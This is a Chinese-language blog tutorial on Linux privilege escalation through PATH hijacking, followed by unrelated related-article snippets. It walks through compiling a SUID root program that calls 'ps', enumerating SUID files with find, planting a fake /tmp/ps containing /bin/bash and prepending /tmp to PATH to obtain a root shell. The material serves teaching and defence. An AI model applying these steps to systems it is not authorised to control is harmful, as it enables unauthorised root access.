利用PATH提升linux权限

参考地址:https://www.hackingarticles.in/linux-privilege-escalation-using-path-variable/

这篇文章是我学习大佬的博客,加上自己的理解写的,大佬写的更详细,总共写了4种方法,但是在我看来这都是一种方法,所有我加上我浅薄的理解,总结了一个方法。

1.介绍

PATH 是 Linux 和类 Unix 操作系统中的环境变量,它指定存储所有可执行程序的所有 bin 和 sbin 目录。当用户在终端上运行任何命令时,它会请求 shell 在 PATH 变量的帮助下搜索可执行文件,以响应用户执行的命令。超级用户通常还具有 /sbin 和 /usr/sbin 条目,以便轻松执行系统管理命令。

借助echo 命令查看相关用户的路径非常简单。

echo $PATH

如果你注意到'.' 在环境 PATH 变量中,这意味着登录的用户可以从当前目录执行二进制文件/脚本,这对于攻击者来说是一种提升 root 权限的极好技术。这是由于编写程序时缺乏注意,因此管理员没有指定程序的完整路径。

个人理解:
就是在/bin/,/sbin/目录下面的命令我们可以在任何目录下面直接调用,不需要加上绝对路径,比如cat,echo,id,
ps,ls,vim,你会发现这些都在/usr/bin/ 或者/usr/sbin/目录下面,所有你调用这些命令不需要加上绝对路径,可
以直接调用,这篇文章说的就是改写这些命令进行覆盖原来的命令,比如改写一个ps覆盖原来调用的/usr/bin/ps这个系
统命令,改写的ps里面我们写上我们的内容,然后进行覆盖去执行,达到提权的目的。(现在没看懂没关系,可能我表达
不是很好,往后看你就都明白了!)

2.创建测试文件demo.c

我们现在目前是root权限:

我们进入/home/tzf目录下面创建一个新目录script,然后在这个目录下面写一个c程序,这个c程序里面会调用一个系
统命令ps(当然了!,你也可以调用echo,cat,ls,vim随便哪一个系统命令都可以,大佬的文章写了四个命令,我这里
就讲解这一个吧,其他的用法大同小异,大家可以去膜拜膜拜大佬写的!) 命令:
mkdir script
cd script
touch demo.c
vim demo.c demo.c 内容:
void main()
{
setuid(0);
setgid(0);
system("ps");
}

不好意思,这里忘记切换进去script文件夹了,在哪个文件夹下面都一样的其实。

正如您在我们的 demo.c 文件中所观察到的,我们正在调用 ps 命令(进程状态),它是系统二进制文件。跟ls,cat,vim,echo都是一样的。

3.编译demo.c文件并加上权限

gcc demo.c -o shell
chmod u+s shell
ls -al

我们可以看到现在shell就是demo.c经过编译得到的二进制文件,demo.c的内容就是调用系统命令ps,然后shell这个二进制文件他的用户是root,但是普通用户也是可以以root权限去执行二进制文件的,因为我们加了s权限。

关于chmod u+s命令的解释:https://www.cnblogs.com/bruce1992/p/14307745.html

现在我们切换到普通用户tzf,就是说我们已普通用户去执行shell这个文件是用的root权限去执行的,这么说大家应该能理解。我们发现shell它会去调用ps这个命令。我们现在可以看到ps这个命令现在是在/usr/bin/目录下面的,就是说我们现在执行./shell这个文件是调用的/usr/bin/ps这个命令,后面接着看。

4.提权

首先,您需要破坏目标系统,然后进入提权阶段。假设您通过 ssh 成功登录到受害者的机器。然后不用浪费时间,在 Find 命令的帮助下搜索具有 SUID 或 4000 权限的文件。

find / -perm -u=s -type f 2>/dev/null

因此在上述命令的帮助下,攻击者可以枚举任何可执行文件,在这里我们还可以观察到/home/tzf/script/shell具有 suid 权限。suid权限就是我们刚刚加的u+s。

可以看到这个就是我们刚刚写进去的二进制文件shell

这里我就以普通用户tzf做演示,就当我通过ssh连上tzf这个普通用户然后提权到root用户。

cd /tmp
echo "/bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
echo $PATH
cd /home/tzf/script
./shell
whoami

5.个人理解

可以看到第三步的时候我们执行./shell这个命令调用的ps是/usr/bin/ps这个命令,但是最后我们在第四步执行的./shell这个命令,此时ps这个命令的绝对路径变成了/tmp/ps,然后/tmp/ps是我们自己创建的一个文件,里面内容是/bin/bash,所有我们在第四步是以root权限去执行的./shell这个命令,同时也是以root权限去执行的ps命令,也就是执行的/bin/bash,所以我们成功提权到了root的终端,成功提权。


利用PATH环境变量 - 提升linux权限~👻的更多相关文章

  1. linux下.bashrc文件 /PATH环境变量修改 /提示符修改

    1) .bashrc文件 在linux系统普通用户目录(cd /home/xxx)或root用户目录(cd /root)下,用指令ls -al可以看到4个隐藏文件, .bash_history   记 ...

  2. Linux下通过源码编译安装程序(configure/make/make install的作用,然后在/etc/profile文件里修改PATH环境变量)

    一.程序的组成部分 Linux下程序大都是由以下几部分组成: 二进制文件:也就是可以运行的程序文件 库文件:就是通常我们见到的lib目录下的文件 配置文件:这个不必多说,都知道 帮助文档:通常是我们在 ...

  3. Linux系列(11) - PATH环境变量

    前言 在Liunx当中要想执行"执行脚本"."执行文件"或者"执行命令",需要用绝对路径:因此环境变量就出来了,将路径放到环境变量中,环境变 ...

  4. Linux系统修改PATH环境变量方法

    在Linux安装一些软件通常要添加路径环境变量PATH.PATH环境变量通俗的讲就是把程序的路径"备案"到系统中,这样执行这些程序时就不需要输入完整路径,直接在bash输入程序名就 ...

  5. linux下查看和添加PATH环境变量

    linux下查看和添加PATH环境变量 $PATH:决定了shell将到哪些目录中寻找命令或程序,PATH的值是一系列目录,当您运行一个程序时,Linux在这些目录下进行搜寻编译链接. 编辑你的 PA ...

  6. Linux常用指令---$PATH (环境变量)

    实例一:设置临时环境变量 在linux服务器上设置临时环境变量,当退出shell环境时,自动销毁 export JAVA_HOME=/usr/java/jdk1.6.0_32 export class ...

  7. linux可执行文件添加到PATH环境变量的方法

    linux命令行下面执行某个命令的时候,首先保证该命令是否存在,若存在,但输入命令的时候若仍提示:command not found 这个时候就的查看PATH环境变量的设置了,当前命令是否存在于PAT ...

  8. Linux中PATH环境变量的作用和使用方法

    关于PATH的作用:PATH说简单点就是一个字符串变量,当输入命令的时候LINUX会去查找PATH里面记录的路径.比如在根目录/下可以输入命令ls,在/usr目录下也可以输入ls,但其实ls这个命令根 ...

  9. linux 下PATH环境变量

    环境变量简介 什么是环境变量呢?简要的说,就是指定一个目录,运行软件的时候,相关的程序将会按照该目录寻找相关文件. 在linux系统下,如果你下载并安装了应用程序,很有可能在键入它的名称时出现&quo ...

随机推荐

  1. 交互式查询⼯具Impala

    Impala是什么: Impala是Cloudera提供的⼀款开源的针对HDFS和HBASE中的PB级别数据进⾏交互式实时查询(Impala 速度快),Impala是参照⾕歌的新三篇论⽂当中的Drem ...

  2. SpringSecurity入门

    基础 spring security的底层就是一个过滤器链 ExceptionTranslationFilter是一个异常过滤器,用来处理认证授权过程中的异常 UseranmePasswordAuth ...

  3. Ubuntu下 QT中配置ROS-Kinetic

    打开qtcreater自动加载ros环境,通过修改*.desktop文件 gedit ~/.local/share/applications/qtcreator.desktop 将其中Exec=XXX ...

  4. idea控制台中文乱码解决办法

    也可以通过idea右下角的设置,但是properties文件是不能设置的,这个只能在file->setting->file encodings 设置

  5. 关于ES6中Promise的应用-顺序合并Promise,并将返回结果以数组的形式输出

    1.Promise 基础知识梳理 创建一个Promise实例 const promise = new Promise(function(resolve, reject) { if (success){ ...

  6. Jenkins手动下载并安装插件

    最近遇到Jenkins插件无法自动安装的问题,在插件管理页面的[升级站点]使用镜像url也无法解决.于是决定手动下载并安装Jenkins插件,具体步骤如下. Step1:进入Jenkins官网的插件下 ...

  7. Python - 进度条库 tqdm

    前言 在写生成器的时候,网上看到一个进度条库,感觉蛮有意思,记录下 这个库感觉只有在调试的时候会用到,不做深入学习 内置库,不需要安装 示例代码 from tqdm import tqdm for i ...

  8. 《Go语言圣经》阅读笔记:第三章基础数据类型

    第三章 基础数据类型 Go语言将数据类型分为四类: 基础类型 数字 整数 浮点数 复数 字符串 布尔 复合类型 数据 结构体 引用类型 指针 切片 字典 函数 通道 接口类型 在此章节中先介绍基础类型 ...

  9. vue实现拖动div元素

    html: <div id="app1"> <div v-drag class="drag"></div> <div ...

  10. golang接口类型判断 VS 接口类型查询

    接口类型判断:接口.(类型) 1.类型查询:查询接口数据对应的类型是否是指定的类型 2.类型转化:如果是指定类型,就将数据转化为接口类型查询: 1.reflect.TypeOf(接口) 2.接口.(T ...